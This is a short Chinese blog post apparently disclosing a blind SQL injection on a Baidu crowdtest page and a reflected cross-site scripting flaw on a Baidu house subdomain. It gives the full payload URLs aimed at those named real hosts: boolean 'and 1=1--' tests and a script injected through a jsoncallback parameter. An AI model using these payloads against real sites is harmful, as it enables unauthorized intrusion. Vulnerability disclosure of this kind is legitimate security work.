百度某频道ROOT盲注及反射式跨站

作者：hack1990 时间：12-09-29 阅读数：838人阅读

http://test.baidu.com/index.php/crowdtest/bug/displayBugList/?sEcho=1&iColumns=6&sColumns=&iDisplayStart=0&iDisplayLength=20&iSortingCols=1&iSortCol_0=2&sSortDir_0=desc&bSortable_0=true&bSortable_1=true&bSortable_2=true&bSortable_3=true&bSortable_4=true&bSortable_5=false&bug_sub_available=1&project_id=690%20and%201=1--

test.baidu.com/index.php/crowdtest/bug/displayBugList/?sEcho=1&iColumns=6&sColumns=&iDisplayStart=0&iDisplayLength=20&iSortingCols=1&iSortCol_0=2&sSortDir_0=desc&bSortable_0=true&bSortable_1=true&bSortable_2=true&bSortable_3=true&bSortable_4=true&bSortable_5=false&bug_sub_available=1&project_id=690 and 1=2--

iTotalRecords 返回的数据判断

再加一个反射式跨站：
http://house.baidu.com/callcenter/index.php?mod=website&act=newCalllist&num=20&jsoncallback=xxx%3Cscript%3Ealert%28/xx/%29%3C/script%3E

# Nmap Security Scanner 7.0

上一篇：土豆网某分站后台弱口令&存储型XSS

下一篇：一次社工渗透再现深喉咙CMS鸡肋漏洞

相关文章

发表评论